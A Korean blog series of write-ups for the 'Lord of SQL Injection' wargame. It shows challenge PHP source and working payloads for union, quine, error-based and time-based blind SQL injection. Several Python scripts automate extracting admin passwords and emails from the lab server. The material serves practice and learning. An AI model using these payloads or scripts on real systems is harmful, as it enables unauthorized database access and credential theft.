반응형
반응형
반응형

alien

 

 

쿼리가 2개다.

 

query : select id from prob_alien where no=


 


query2 : select id from prob_alien where no=''

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
 
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/admin|and|or|if|coalesce|case|_|\.|prob|time/i'$_GET['no'])) exit("No Hack ~_~");
  $query = "select id from prob_alien where no={$_GET[no]}";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $query2 = "select id from prob_alien where no='{$_GET[no]}'";
  echo "<hr>query2 : <strong>{$query2}</strong><hr><br>";
  if($_GET['no']){
    $r = mysqli_fetch_array(mysqli_query($db,$query));
    if($r['id'!== "admin"exit("sandbox1");
    $r = mysqli_fetch_array(mysqli_query($db,$query));
    if($r['id'=== "admin"exit("sandbox2");
    $r = mysqli_fetch_array(mysqli_query($db,$query2));
    if($r['id'=== "admin"exit("sandbox");
    $r = mysqli_fetch_array(mysqli_query($db,$query2));
    if($r['id'=== "admin") solve("alien");
  }
  highlight_file(__FILE__);
?>
cs

 

음?

 

query와 query2의 차이는 no= 다음에 ''가 있냐 없냐의 차이

 

query를 실행해서 나온 id가 admin이 아니면 죽고, admin이어도 죽는다.

query2를 실행해서 나온 id가 admin이면 죽고, admin이면 문제가 풀린다.

 

 

.................................? 뭘까?

 

50%확률로 admin을 return하면 되는 것일까..

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

query와 query2를 모두 동일한 명령으로 만드는 법:

 

 

?no=1 union select 1#' union select '1

 

 

query : select id from prob_alien where no=1 union select 1#' union select '1

query2 : select id from prob_alien where no='1 union select 1#' union select '1'

 

query에서는 #앞에가 실행되고, 뒤는 주석처리

query2에서는 #이 ''안의 문자열로 취급, 뒤 실행

 

 

 

 

?no=1%20union%20select%20concat(lower(hex(10%2b(!sleep(1)%26%26now()%2=1))),%200x646d696e)%23%27%20union%20select%20concat(lower(hex(9%2b(!sleep(1)%26%26now()%2=1))),%200x646d696e)%23%20

현재 시간에 따라 0이 될 수도 있고 1이 될 수도 있고 이를 이용

시간으로 admin을 내보낼지 bdmin을 내보낼지를 정함.

sleep(1)을 사용하여 처음에 admin이 되면 다음은 무조건 bdmin이 되도록.

 

 

 

ALIEN Clear!

 

 

문제들이 너무 어렵다. 풀이 참고하면서 이런 기법들도 있구나 하고 알아가는 정도로 넘어가야 겠다..ㅠㅠ

처음 내가 생각했던 방향과 얼마나 일치하는지도 보고,,,

반응형
반응형

zombie

 

 

음 이전 문제랑 뭐가 달라졌을까..

1
2
3
4
5
6
7
8
9
10
11
12
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect("zombie");
  if(preg_match('/rollup|join|ace|@/i'$_GET['pw'])) exit("No Hack ~_~");
  $query = "select pw from prob_zombie where pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['pw']) echo "<h2>Pw : {$result[pw]}</h2>";
  if(($result['pw']) && ($result['pw'=== $_GET['pw'])) solve("zombie");
  highlight_file(__FILE__);
?>
cs

 

 

필터링 부분을 보면 ace를 필터링한다. 이는 replace을 필터링 하겠다는 것이다.

그래서 이전 문제에서 사용했던 페이로드를 사용할 수 없다..

 

+ 여전히 테이블은 텅텅 비어있다.

 

 

 

information_schema DB에 processlist 라는 테이블이 존재하는데, 해당 테이블의 INFO 칼럼에 이전에 실행했던 쿼리문이 저장되어있다고 한다.

 

 

 

' union select substr(info, 38, 72) from information_schema.processlist%23

 

 

ZOMBIE Clear!

 

 

 

반응형
반응형

ouroboros

 

우로보로스

 

 

 

와 소스코드가 짧아졌다!

1
2
3
4
5
6
7
8
9
10
11
12
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|rollup|join|@/i'$_GET['pw'])) exit("No Hack ~_~");
  $query = "select pw from prob_ouroboros where pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['pw']) echo "<h2>Pw : {$result[pw]}</h2>";
  if(($result['pw']) && ($result['pw'=== $_GET['pw'])) solve("ouroboros");
  highlight_file(__FILE__);
?>
cs

 

 

query : select pw from prob_ouroboros where pw='1' or pw like '%'

query : select pw from prob_ouroboros where pw='1' or 1=1#'

 

흠.. 테이블에 아무것도 없는 것 같다.

 

테이블에 직접 데이터를 넣어줘야 할 것 같다. (개꿀문제가 아니었어 ㅠㅠ)

 

 

 

 

 

 

예전에도 테이블이 텅텅빈 문제가 있었던 것 같은데.. 찾아봐야 겠다.

 

https://mandu-mandu.tistory.com/333

 

LORD OF SQL INJECTION [green_dragon] 풀이

green_dragon 녹색 용용이 소스를 보자. 쿼리를 두 번 실행한다. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19

mandu-mandu.tistory.com

 

uinon을 사용하자!

 

 

 

query : select pw from prob_ouroboros where pw='1' union select 1#'


 

Pw : 1

 

 

 if(($result['pw']) && ($result['pw'] === $_GET['pw'])) solve("ouroboros");

근데 1' union slect 1%23 과 1을 어떻게 같게 하지..

 

 

 

 

 

Quine 이라는 것이 있다!

 

Quine Sql Injection

https://blog.rwx.kr/quine-sql-injection/

 

Quine SQL Injection - White Security

Quine SQL 이란 Quine 은 소스코드를 그대로 출력으로 반환하는 프로그램을 의미하는데위의 파이썬 소스코드를 참고하면 어떤 의미인지 쉽게 이해할 수 있을 것이다.이는 대부분의 언어로 작성되어 위키백과에 등재되어 있다. Quine SQL Query 마찬가지로 SQL 언어를 사용해 작성한 Quine 쿼리도 존재하는데, 위가 그 예이다. 여기서 필요없는 부분을 잘라내면 위와 같다. 이런 특성을 이용하여 SQL 인젝션에 응용할 수 있는데사용자 입력과 쿼리

blog.rwx.kr

 

 

?pw=1%27%20union%20SELECT%20REPLACE(REPLACE(%271"%20union%20SELECT%20REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$")%20AS%20Quine%23%27,CHAR(34),CHAR(39)),CHAR(36),%271"%20union%20SELECT%20REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$")%20AS%20Quine%23%27)%20AS%20Quine%23

 

 

 

OUROBOROS Clear!

 

 

 

https://www.shysecurity.com/post/20140705-SQLi-Quine

코게 문제에도 나왔었다고 한다.

 

반응형
반응형

PHANTOM

 

 

 

상단에 ip와 email이 나오는 테이블이 있다.

 

 

소스:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect("phantom");
 
  if($_GET['joinmail']){
    if(preg_match('/duplicate/i'$_GET['joinmail'])) exit("nice try");
    $query = "insert into prob_phantom values(0,'{$_SERVER[REMOTE_ADDR]}','{$_GET[joinmail]}')";
    mysqli_query($db,$query);
    echo "<hr>query : <strong>{$query}</strong><hr>";
  }
 
  $rows = mysqli_query($db,"select no,ip,email from prob_phantom where no=1 or ip='{$_SERVER[REMOTE_ADDR]}'");
  echo "<table border=1><tr><th>ip</th><th>email</th></tr>";
    while(($result = mysqli_fetch_array($rows))){
    if($result['no'== 1$result['email'= "**************";
    echo "<tr><td>{$result[ip]}</td><td>".htmlentities($result[email])."</td></tr>";
  }
  echo "</table>";
 
  $_GET[email] = addslashes($_GET[email]);
  $query = "select email from prob_phantom where no=1 and email='{$_GET[email]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['email']) && ($result['email'=== $_GET['email'])){ mysqli_query($db,"delete from prob_phantom where no != 1"); solve("phantom"); }
  highlight_file(__FILE__);
?>
cs

 

 

 


  if(
$_GET['joinmail']){
    if(preg_match('/duplicate/i', $_GET['joinmail'])) exit("nice try");
    $query = "insert into prob_phantom values(0,'{$_SERVER[REMOTE_ADDR]}','{$_GET[joinmail]}')";
    mysqli_query($db,$query);
    echo "<hr>query : <strong>{$query}</strong><hr>";
  }

 

6~11행에서는 joinmail을 get방식으로 받는다.

입력값에서 duplicate라는 문자열을 필터링 하는데, duplicate가 있으면 nice try 라고 하고 죽어버린다.

duplicate와 비슷한 것들을 이용해야하는 건가..?

 

 

 

 

 

 

 

$rows = mysqli_query($db,"select no,ip,email from prob_phantom where no=1 or ip='{$_SERVER[REMOTE_ADDR]}'");
  echo "<table border=1><tr><th>ip</th><th>email</th></tr>";
    while(($result = mysqli_fetch_array($rows))){
    if($result['no'] == 1) $result['email'] = "**************";
    echo "<tr><td>{$result[ip]}</td><td>".htmlentities($result[email])."</td></tr>"
;
  }

13~18행

no=1 or ip = '내 아이피' 에 있는 no, ip, email을 가져온다.

 

no가 1 이면 email을 *로 표시한다.

 

 

 

 

 

 

 

$_GET[email] = addslashes($_GET[email]);
  $query = "select email from prob_phantom where no=1 and email='{$_GET[email]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['email']) && ($result['email'] === $_GET['email'])){ mysqli_query($db,"delete from prob_phantom where no != 1"); solve("phantom"
); }

no가 1인 것의 email을 구해야 문제가 풀린다.

 

 

 

 

쿼리들을 순서대로 본다면, INSERT -> SELECT -> DELETE

 

값을 집어넣고, 가져와서 비교하고, 집어넣은 것들을 다시 없애기(초기화)

 

 

 

insert into prob_phantom values(0,'{$_SERVER[REMOTE_ADDR]}','{$_GET[joinmail]}')

 

no = 0, ip, email 순서로 insert를 한다.

 

ip에 내 아이피가 들어가고, 

 

select no,ip,email from prob_phantom where no=1 or ip='{$_SERVER[REMOTE_ADDR]}'

 

여기서 내 아이피인 것도 가져오기 때문에, 위에서 삽입한 행도 불러온다.

위에서 행을 삽입할 때, email을 no=1인 email을 복제해서 넣는다면 복제된 email을 볼 수 도 있을 것이다.

 

 

 

 

 

joinmail = hihi'), (10,'xxx.xxx.xxx.xxx','hello')%23

 

이렇게 하면 한 번에 값을 두개 넣을 수 있다.

 

 

 

 

 

 

그래서 이런 것을 시도해 봤다.

hihi'), (10,'xxx.xxx.xxx.xxx',(select email from prob_phantom where no=1))#

 

 

no=1인 것의 email을 가져와 넣는 것이다. 하지만 되지 않았다..

 

이유를 찾아보니..같은 테이블에서는 오류가 나는 것이었다.

 

 

 

 

 

임시테이블을 만들어서 그 임시테이블의 값을 가져온다면?

 

hihi'), (12,'xxx.xxx.xxx.xxx',(select e from (select email as e from prob_phantom where no=1)as t) )#

 

 

 

이제 나온 email을 파라미터로 전달하자.

 

 

 

 

 

PHANTOM Clear!

반응형
반응형

frankenstein

 

와 프랑켄슈타인

 

 

...

 

 

 

소스 보자

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(|\)|union/i'$_GET[pw])) exit("No Hack ~_~");
  $query = "select id,pw from prob_frankenstein where id='frankenstein' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(mysqli_error($db)) exit("error");
 
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_frankenstein where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'== $_GET['pw'])) solve("frankenstein");
  highlight_file(__FILE__);
?>
cs

 

pw만 get방식으로 받는다.

 

이번에도 pw를 구해야 한다.

근데 frankenstein이 아닌 admin이 id인 것의 pw를 구해야 한다.

 

 

if(mysqli_error($db)) exit("error"); 가 있기 때문에 error based sqli로 풀면 될 것 같다.

 

 

( 와 ) 를 사용할 수 없기 때문에 if를 case when then end로 우회를 했다.

 

또한, length()나 substr()을 사용할 수 없기 때문에, like와 %를 사용했다.

 

 

 

?pw=' or id='admin' and case when pw like '0%' then 1 else 9e307*2 end%23

 

pw like '0%' 가 true이면 1을, false이면 9e307*2를 반환.

 

 

9e307*2는 error을 만들어 낸다.

 

9e307보다 큰 수면 error가 나는데, 구문 자체에 9e308등의 수를 넣으면 그 구문자체가 error가 나버려서 true false 판별을 못한다.

 

 

 

exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import urllib
import urllib2
import sys
import time
 
string = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"#~!@#$^&*()-_+="
 
 
key = ""
 
for i in range(8):
    for j in range(len(string)):
        #payload = "(select exp(710) where '"+string[j]+"'=(select substr(email,"+str(i+1)+",1) where id='admin'))"
        payload = "' or id='admin' and case when pw like '"+key+string[j]+"%' then 1 else 9e307*2 end#"
        payload = urllib.quote(payload)
        url = "https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php?pw="+payload
 
        print url
 
        opener = urllib2.build_opener(urllib2.HTTPHandler)
        request = urllib2.Request(url)
        request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
        request.add_header('Cookie''PHPSESSID=your-cookie')
        request.get_method = lambda:'GET'
        data = opener.open(request)
        data = data.read()
 
        #print data
 
        if not "<br>error" in data:
            key += string[j]
            print "[*] Find Password!! Password is ["+key+"] "
            break
        else:
            print "[-] Fail!"
 
cs

 

 

 

 

 

FRANKENSTEIN Clear!

 

 

 

 

 

 

 

 

 

반응형
반응형

blue_dragon

 

 

파란 용용이

 

 

 

소스를 보자

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\./i'$_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\./i'$_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_blue_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(preg_match('/\'|\\\/i'$_GET[id])) exit("No Hack ~_~");
  if(preg_match('/\'|\\\/i'$_GET[pw])) exit("No Hack ~_~");
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
 
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_blue_dragon where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'== $_GET['pw'])) solve("blue_dragon");
  highlight_file(__FILE__);
?>
cs

 

'랑 \을 필터링한다.

 

근데 이 필터링을 쿼리를 실행하고서 필터링을 한다. 따라서 '이나 \을 넣어도 쿼리는 실행된다. 다만, 결과가 No Hack으로만 나올 뿐이다.

 

 

이때 time based sql injection을 사용하면 된다. 그럼 쿼리가 실행되서 그 결과를 시간으로 구별할 수 있다.

 

 

 

?id=admin' and if(length(pw)>0,sleep(1),0)%23

length(pw)>0이 참이면 sleep(1)을 반환한다.

 

 

 

 

 

time based sqli

https://mandu-mandu.tistory.com/331

 

LORD OF SQL INJECTION [hell_fire] 풀이

문제 소스: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21

mandu-mandu.tistory.com

 

 

 

 

?id=admin%27%20and%20if(length(pw)=8,sleep(1),0)%23

 

pw의 길이는 8이다.

 

 

 

 

 

 

 

 

ex.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import urllib
import urllib2
import sys
import time
 
string = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$^&*()-_+="
 
 
key = ""
 
for i in range(8):
    for j in range(len(string)):
        payload = "admin' and if(substr(pw,"+str(i+1)+",1)='"+string[j]+"',sleep(1),0)#"
        payload = urllib.quote(payload)
        url = "https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php?id="+payload
 
        print url
 
        opener = urllib2.build_opener(urllib2.HTTPHandler)
        request = urllib2.Request(url)
        request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
        request.add_header('Cookie''PHPSESSID=your_cookie')
        request.get_method = lambda:'GET'
 
        start = time.time()
 
        data = opener.open(request)
        data = data.read()
 
        end= time.time()-start
 
 
        if end > 1:
            key += string[j]
            print "[*] Find Password!! Password is ["+key+"] "
            break
        else:
            print "[-] Fail!"
 
cs

 

BLUE_DRAGON Clear!

반응형
반응형

red_dragon

빨간 용용이

 

소스를 보자

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\./i'$_GET['id'])) exit("No Hack ~_~");
  if(strlen($_GET['id']) > 7exit("too long string");
  $no = is_numeric($_GET['no']) ? $_GET['no'] : 1;
  $query = "select id from prob_red_dragon where id='{$_GET['id']}' and no={$no}";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) echo "<h2>Hello {$result['id']}</h2>";
 
  $query = "select no from prob_red_dragon where id='admin'"// if you think challenge got wrong, look column name again.
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['no'=== $_GET['no']) solve("red_dragon");
  highlight_file(__FILE__);
?>
cs

 

 

if(strlen($_GET['id']) > 7) exit("too long string");

 

id의 길이가 7보다 크면 안된다.

 

 

 

$no = is_numeric($_GET['no']) ? $_GET['no'] : 1;

 

?는 if와 의미가 같다.  조건 ? True : False

 

no의 값이 숫자가 아니면 1을 반환한다.

 

 

 

 $query = "select no from prob_red_dragon where id='admin'"; // if you think challenge got wrong, look column name again.
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['no'] === $_GET['no']) solve("red_dragon");

 

id가 admin인 것의 no값을 가져와서 입력한 no값과 같으면 된다.

 

 

 

 

 

 

id=admin'%23 으로 입력해주면 쿼리가

query : select id from prob_red_dragon where id='admin'#' and no=1 로 되어서 admin이 나온다.

 

 

이제 no값을 찾아내야 한다.

 

쿼리에 && no>10 이런 형태를 유도해야한다.

 

id에 넣을 값을 줄여볼까..

 

 

 

 

 

 

#은 한줄 주석임을 이용해서 and no=을 날려주고

 

id에 '|| no> 을 넣고 no에 \n1을 넣어주면 쿼리가 id=''||no>1이 될 것이다.

 

 

 

id=%27||no>%23&no=%0a1

query : select id from prob_red_dragon where id=''||no>#' and no= 1

 

 

hello admin이 잘 튀어나온다. 이걸로 범위를 구해보자

 

 

 

 

 

 

최대범위

query : select id from prob_red_dragon where id=''||no<#' and no= 1000000000

 

최소범위

query : select id from prob_red_dragon where id=''||no>#' and no= 100000000

 

 

 

저번에 사용했던 이진탐색 알고리즘을 또 우려먹자!

 

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import urllib
import urllib2
import sys
import time
 
 
def binary_search_recursion(start, end , i):
    if start > end:
        return start
 
    mid = (start + end) // 2
 
    data = blind_sqli(mid, i)
 
    if "Hello admin" in data:
        start = mid + 1
        print mid
    else:
        end = mid - 1
 
    return binary_search_recursion(start, end, i)
 
def blind_sqli(val, i):
    payload = "'||no>#"
    payload = urllib.quote(payload)
    payload = payload + "&no=%0a"+str(val)
    url = "https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php?id="+payload
 
    print url
 
    opener = urllib2.build_opener(urllib2.HTTPHandler)
    request = urllib2.Request(url)
    request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
    request.add_header('Cookie''PHPSESSID=cookie')
    request.get_method = lambda:'GET'
    data = opener.open(request)
    data = data.read()
 
    return data
 
key = ""
for i in range(0,1):
    k = binary_search_recursion(100000000,1000000000, i)
    key+=str(hex(k))
print key
 
cs

 

마지막 값에 1 더하면 그게 no값이다.

반응형
반응형

green_dragon

 

 

녹색 용용이

 

 

 

소스를 보자.

 

 

 

쿼리를 두 번 실행한다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\'|\"/i'$_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\.|\'|\"/i'$_GET[pw])) exit("No Hack ~_~");
  $query = "select id,pw from prob_green_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']){
    if(preg_match('/prob|_|\.|\'|\"/i'$result['id'])) exit("No Hack ~_~");
    if(preg_match('/prob|_|\.|\'|\"/i'$result['pw'])) exit("No Hack ~_~");
    $query2 = "select id from prob_green_dragon where id='{$result[id]}' and pw='{$result[pw]}'";
    echo "<hr>query2 : <strong>{$query2}</strong><hr><br>";
    $result = mysqli_fetch_array(mysqli_query($db,$query2));
    if($result['id'== "admin") solve("green_dragon");
  }
  highlight_file(__FILE__);
?>
cs

 

id와 pw값을 받아서 쿼리를 실행한 후에 결과값이 있으면

결과값의 id와 pw를 이용해서 쿼리를 실행하고 id가 admin이면 문제가 풀린다.

 

 

 

 

\을 이용해서 '을 우회해보았다.

https://los.rubiya.kr/chall/green_dragon_74d944f888fd3f9cf76e4e230e78c45b.php?id=admin\&pw=or%20id=0x61646d696e%23

 

query : select id,pw from prob_green_dragon where id='admin\' and pw='or id=0x61646d696e#'

 

흠.. 반응이 없다.

 

 

아에 prob_green_dragon 테이블에 값이 없는 것으로 보인다.

 

 

 

 

 

 

 

 

 

 

union으로 결과를 합쳐주면 된다.

https://www.w3schools.com/sql/sql_union.asp

 

SQL UNION Operator

SQL UNION Operator The SQL UNION Operator The UNION operator is used to combine the result-set of two or more SELECT statements. Each SELECT statement within UNION must have the same number of columns The columns must also have similar data types The colum

www.w3schools.com

 

 

?id=\&pw=%20union%20select%201,2%23

 

query : select id,pw from prob_green_dragon where id='admin\' and pw=' union select 1,2#'

query2 : select id from prob_green_dragon where id='1' and pw='2'

 

 

query2까지 잘 나온다.

 

이제 query2에서 admin이 나오도록 우회를 시도하면 된다.

 

 

 

 

 

 

 

 

 

 

 

query2를 where id='\' and pw='union select 0x61646d696e#'

으로 만들어주면 된다.

 

id에는 \가 들어가야되고 pw에는 union select 0x61646d696e#이 들어가야 한다.

 

https://www.branah.com/ascii-converter

 

ASCII Converter - Hex, decimal, binary, base64, and ASCII converter

Convert ASCII characters to their hex, decimal and binary representations and vice versa. In addition, base64 encode/decode binary data. The converter happens automatically.

www.branah.com

여기서 hex값으로 바꿔서 넣어주자.Convert white space characters 에 체크, Remove 0x에 체크하고

나온 hex값 앞에 0x를 붙여주면 된다.

 

 

 

 

 

 

최종 url

?id=\&pw=%20union%20select%200x5c,0x756e696f6e2073656c6563742030783631363436643639366523%23

반응형
반응형

hell_fire과 코드상에서 다른 점이라면 

 

if(preg_match('/prob|_|\.|proc|union|sleep|benchmark/i', $_GET[order])) exit("No Hack ~_~");

 

필터링이 추가된 것밖에 보이지 않는다.

 

덕분에 이전 문제에서 time based sql injection을 사용했던 방법을 이용할 수 없게 되었다.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|proc|union|sleep|benchmark/i'$_GET[order])) exit("No Hack ~_~");
  $query = "select id,email,score from prob_evil_wizard where 1 order by {$_GET[order]}"// same with hell_fire? really?
  echo "<table border=1><tr><th>id</th><th>email</th><th>score</th>";
  $rows = mysqli_query($db,$query);
  while(($result = mysqli_fetch_array($rows))){
    if($result['id'== "admin"$result['email'= "**************";
    echo "<tr><td>{$result[id]}</td><td>{$result[email]}</td><td>{$result[score]}</td></tr>";
  }
  echo "</table><hr>query : <strong>{$query}</strong><hr>";
 
  $_GET[email] = addslashes($_GET[email]);
  $query = "select email from prob_evil_wizard where id='admin' and email='{$_GET[email]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['email']) && ($result['email'=== $_GET['email'])) solve("evil_wizard");
  highlight_file(__FILE__);
?>
cs

 

 

이전 문제에서 시도했던 if(id='admin' and length(email)>0,id,score) 이 것은 여전히 참 거짓 구분이 작동이 안된다.

 

 

이번에는 exp(710)을 사용해서 error based sql injection을 사용했다.

 

order by (select exp(710) where 0<(select length(email) where id='admin'))

참이면 결과를 표시하지 않고, 거짓이면 결과를 표시한다.

 

 

https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php?order=(select%20exp(710)%20where%2030=(select%20length(email)%20where%20id=%27admin%27))

이메일의 길이는 30이다.

 

 

글자는 아래와 같은 방법으로 찾으면 된다.

query : select id,email,score from prob_evil_wizard where 1 order by (select exp(710) where 'a'=(select substr(email,1,1) where id='admin'))

 

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import urllib
import urllib2
import sys
import time
 
string = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$^&*()-_+="
 
 
key = ""
 
for i in range(30):
    for j in range(len(string)):
        payload = "(select exp(710) where '"+string[j]+"'=(select substr(email,"+str(i+1)+",1) where id='admin'))"
        payload = urllib.quote(payload)
        url = "https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php?order="+payload
 
        print url
 
        opener = urllib2.build_opener(urllib2.HTTPHandler)
        request = urllib2.Request(url)
        request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
        request.add_header('Cookie''PHPSESSID=cookie')
        request.get_method = lambda:'GET'
        data = opener.open(request)
        data = data.read()
 
        if not "<td>admin</td>" in data:
            key += string[j]
            print "[*] Find Password!! Password is ["+key+"] "
            break
        else:
            print "[-] Fail!"
 
cs
반응형
반응형

 

문제 소스:

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
 
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|proc|union/i'$_GET[order])) exit("No Hack ~_~");
  $query = "select id,email,score from prob_hell_fire where 1 order by {$_GET[order]}";
  echo "<table border=1><tr><th>id</th><th>email</th><th>score</th>";
  $rows = mysqli_query($db,$query);
  while(($result = mysqli_fetch_array($rows))){
    if($result['id'== "admin"$result['email'= "**************";
    echo "<tr><td>{$result[id]}</td><td>{$result[email]}</td><td>{$result[score]}</td></tr>";
  }
  echo "</table><hr>query : <strong>{$query}</strong><hr>";
 
  $_GET[email] = addslashes($_GET[email]);
  $query = "select email from prob_hell_fire where id='admin' and email='{$_GET[email]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['email']) && ($result['email'=== $_GET['email'])) solve("hell_fire");
  highlight_file(__FILE__);
?>
cs

 

코드와 함께 테이블이 주어진다.

 

 

 

order by 뒤에 if문을 사용할 수 있다.

 

order by if(id='admin' and length(email)>0,id,score) 로 하면 id='admin' and length(email)>0 이 참일때 id를 반환하여 order by id가 되어 admin이 맨 처음 표시되고, 거짓일때 score을 반환하여 order by score이 되어 score이 100인 rubiya가 맨 처음 표시되어야 한다. 이를 이용해서 email의 길이와 각 자리글자씩 구해내면 된다.

 

 

위 방법을 이용하면 되야 하는데,,, 참 거짓 구분이 안된다.. 무조건 rubiya가 최상단에 뜬다.

 

 

그래서 sleep함수를 이용해서 참일 때 1초 지연시키도록 해보았다.

if(id='admin' and length(email)>0,sleep(1),id)

 

 

개발자도구의 Network를 이용하면 확인해 볼 수 있다.

 

 

https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php?order=if(id=%27admin%27%20and%20length(email)=28,sleep(1),id)

email의 길이는 28이다.

 

 

Time Based Blind SQL injection

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import urllib
import urllib2
import sys
import time
 
string = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$^&*()-_+="
 
 
key = ""
 
for i in range(28):
    for j in range(len(string)):
        payload = "if(id='admin' and substr(email,"+str(i+1)+",1)='"+string[j]+"',sleep(1),id)"
        payload = urllib.quote(payload)
        url = "https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php?order="+payload
 
        print url
 
        opener = urllib2.build_opener(urllib2.HTTPHandler)
        request = urllib2.Request(url)
        request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
        request.add_header('Cookie''PHPSESSID=cookie')
        request.get_method = lambda:'GET'
 
        start = time.time()
 
        data = opener.open(request)
        data = data.read()
 
        end= time.time()-start
 
 
        if end > 1:
            key += string[j]
            print "[*] Find Password!! Password is ["+key+"] "
            break
        else:
            print "[-] Fail!"
 
cs
반응형

+ Recent posts